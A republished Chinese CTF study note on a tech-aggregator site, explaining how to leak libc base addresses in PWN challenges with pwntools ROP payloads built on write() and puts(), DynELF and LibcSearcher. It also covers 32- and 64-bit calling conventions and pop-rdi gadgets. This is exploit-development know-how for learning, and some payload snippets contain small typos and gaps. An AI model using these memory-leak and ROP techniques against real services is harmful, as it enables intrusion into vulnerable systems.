IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 系统运维 -> 【PWN学习】如何获取libc基址 -> 正文阅读

[系统运维]【PWN学习】如何获取libc基址


在解pwn题的时候,如果程序中没有可以获得shell的函数,通常会通过got表中调用函数来获取libc基址,然后通过libc获取要用的system函数和binsh字符。

使用Write()泄露函数实际地址

  • 头文件: #include <unistd.h>

  • 定义函数:ssize_t write (int fd, const void * buf, size_t count);

  • **函数说明:write()会把参数buf 所指的内存写入count 个字节到参数fd 所指的文件内. 当然, 文件读写位置也会随之移动.**write函数的特点在于其输出完全由其参数size决定,只要目标地址可读,size填多少就输出多少,不会受到诸如‘\0’, ‘\n’之类的字符影响。因此leak函数中对数据的读取和处理较为简单。

    • 第一个参数fd=1:标准输出 STDOUT
  • 返回值:如果顺利write()会返回实际写入的字节数. 当有错误发生时则返回-1, 错误代码存入errno 中.

  • Payload:‘a’ * 栈大小 + ebp + write_plt_addr + write执行后的返回地址 + fd + 要泄露的地址 + count

    from pwn import *
    elf = ELF('./elf_file')
    def leak(addr):
        payload = b''
        payload += b'a' * 0x88			 # 栈的大小
        payload += b'a' * 0x4 			 # ebp
        payload += p32(write_plt)    # write地址
        payload += p32(main_addr)    # 返回地址
        payload += p32(1)       # 第一个参数 fd
        payload += p32(addr)    # 第二个参数 buf   通常可以为write_got
        payload += p32(4)       # 第三个参数 size
        conn.sendlineafter(b'Input:\n',payload)
        content = conn.recv()[:4]
        print("%#x -> %s" %(addr, binascii.b2a_hex((content or ''))))
        return content
    
    d = DynELF(leak, elf = elf)
    system_addr = d.lookup('__libc_system', 'libc')
    log.success("system:"+hex(system_addr))
    

使用Puts()泄露函数实际地址

  • 头文件: #include<stdio.h>

  • 定义函数:int puts(const char *string);

  • 函数说明: puts()函数只能够输出字符串,以’\0’来确定字符串的结尾。

  • Payload:

    payload = b''
    payload += b'a' * 0x  			# 栈的大小
    payload += p64(0) 	  			# ebp
    payload += p64(pop_rdi)			# 给puts()函数赋值
    payload += p64(addr)				# leak函数的参数addr  可以为puts_got
    payload += p64(puts_plt)		# puts函数地址
    

为什么利用write()puts()函数来获取libc基址时,要泄露got表中函数的地址?

通过学习GOT和PLT的知识,了解到当函数被调用过之后,GOT表中存放的函数地址就是函数的实际地址。而这个地址是通过以下方式确定的
函 数 的 实 际 地 址 = l i b c 基 址 + 函 数 在 l i b c 中 偏 移 量 函数的实际地址 = libc基址 + 函数在libc中偏移量 =libc+libc
因此利用GOT泄露的函数实际地址,和函数在libc中的偏移量就可以计算出libc的基址。

如何获取函数在libc中的偏移量呢?

这里可能有两种情况,一种是libc已知,一种是libc未知。

libc已知

libc已知的情况,可以通过反编译libc获取地址。如下所示,利用radare分析libc文件,可以获取libc中write的偏移地址是0x000d43c0

[0x000187c0]> afl | grep write
0x00063880   22 406  -> 395  sym._IO_wdo_write
0x000d43c0    5 101          sym.__write

也可以通过pwntools的ELF类,加载libc文件来获取目标函数的偏移地址。

libc= ELF('./libc_32.so.6')

libc_write_offset = libc.sym['write']

libc未知

libc未知的情况下,需要确定libc的版本号。同一个版本的libc对应的函数的实际地址是一样的,因此通过收集所有libc库的实际函数的地址,就利用泄露的函数的实际地址确定libc版本,从而进一步获取libc中函数的偏移地址。

pwn中可以使用LibSearcher库

from LibcSearcher import *

...
# leak是使用write或put进行地址泄露的函数
write = leak(write_got)
libc = LibcSearcher('write', write)
libcbase = write - libc.dump('write')

为什么write和putS在泄露基址的时候是这样构造payload?

根据前面的分析,我们知道我们要泄露的是GOT表的地址,需要利用WRITE和PUTS输出数据的能力。

假设要泄露的是函数func的地址,我们需要构造write(1, func_got_addr, 4)或者puts(func_got_addr)

32位Linux

32位Linux是用栈传递参数的,如果将write(1, func_got_addr, 4)编译成汇编,大概的运行流程如下

push 4
lea rax, [func_got_addr]
push rax
push 1
call write 

我们知道栈是先进后出的,因此在写payload的时候需要将这个过程反过来,就变成了如下所示

payload = padding 	# 栈填充字段 
paylaod += ebp			# callee的ebp
payload += write_plt地址
payload += write运行后返回地址
payload += write的第一个参数_1
payload += write的第二个参数_func_got_addr
payload += write的第三个参数_4

同样的,如果是用puts的话payload只需要传入一个参数

payload = padding 	# 栈填充字段 
paylaod += ebp			# callee的ebp
payload += puts调用地址
payload += puts运行后返回地址
payload += puts的参数_func_got_addr

64位Linux

64位Linux前六个参数是使用rdi, rsi, rdx, rcs, r8, r9 传递的。

lea rdi, [func_got_addr]
call puts

这里不是使用栈,因此在构造payload的时候需要按顺序构造调用链。我们需要把要泄露的地址func_got_addr放到rdi寄存器中。如何做到呢?我们先来分析学习一下puts的payload

payload = b''
payload += b'a' * 0xN  			# 栈的大小
payload += p64(0) 	  			# ebp
payload += p64(pop_rdi)			# 给puts()函数赋值
payload += p64(addr)				# 要泄露的函数的地址func_got_addr
payload += p64(puts_plt)		# puts函数地址

payload发送后,当执行到预设返回地址时,栈中的情况如下所示

sp ------- 		  | pop_rdi的地址 |
				  | func_got_addr|
				  | puts_plt地址  |

此时程序跳转到pop rdi的位置执行,

pop rdi
ret

而栈指针出栈后,将下移一步。

				  | pop_rdi的地址 |
sp -------        | func_got_addr|
				  | puts_plt地址  |

程序接下来执行pop rdi,将栈指针当前所指弹出,存入rdi中。这样一来,成功将func_got_addr放入了rdi中。执行后sp继续下移一帧,指向了puts_plt地址

				  | pop_rdi的地址 |
				  | func_got_addr|
sp -------        | puts_plt地址  |

下一步,程序将执行ret。ret相当于执行了pop ip,将当前栈指针指向的内存地址的内容存入ip寄存器中。因此puts_plt的地址将被加载到指令寄存器里,等待执行。

到此为止即完成puts(func_got_addr)的调用。

从这里也可以学习到gadget的构造方式,pop reg后紧跟要放入reg中的数据,即可成功给reg赋值。

利用上面学习到的方式,下面尝试构造利用write进行泄露的payload。我们希望构成如下的调用链

mov rdx, 4
lea rsi, [func_got_addr]
mov rdi, 1
call write
payload = padding			# 填充栈
payload += p64(0)			# rbp
payload += p64(pop_rdx) + p64(0x8)
payload += p64(pop_rsi) + p64(func_got_addr)
payload += p64(pop_rdi) + p64(0x1)
payload += p64(write_plt)

当然直接找到下面三个gadget,是一种理想情况

pop rdx; ret
pop rsi; ret
pop rdi; ret

大多数情况找不到这么完美的gadget的,这是就需要使用万能gadget来构造调用链,这部分内容以后再来学习。

  系统运维 最新文章
配置小型公司网络WLAN基本业务(AC通过三层
如何在交付运维过程中建立风险底线意识,提
快速传输大文件,怎么通过网络传大文件给对
从游戏服务端角度分析移动同步(状态同步)
MySQL使用MyCat实现分库分表
如何用DWDM射频光纤技术实现200公里外的站点
国内顺畅下载k8s.gcr.io的镜像
自动化测试appium
ctfshow ssrf
Linux操作系统学习之实用指令(Centos7/8均
上一篇文章      下一篇文章      查看所有文章
加:2021-12-10 11:27:06  更:2021-12-10 11:28:37 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/16 4:49:22-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码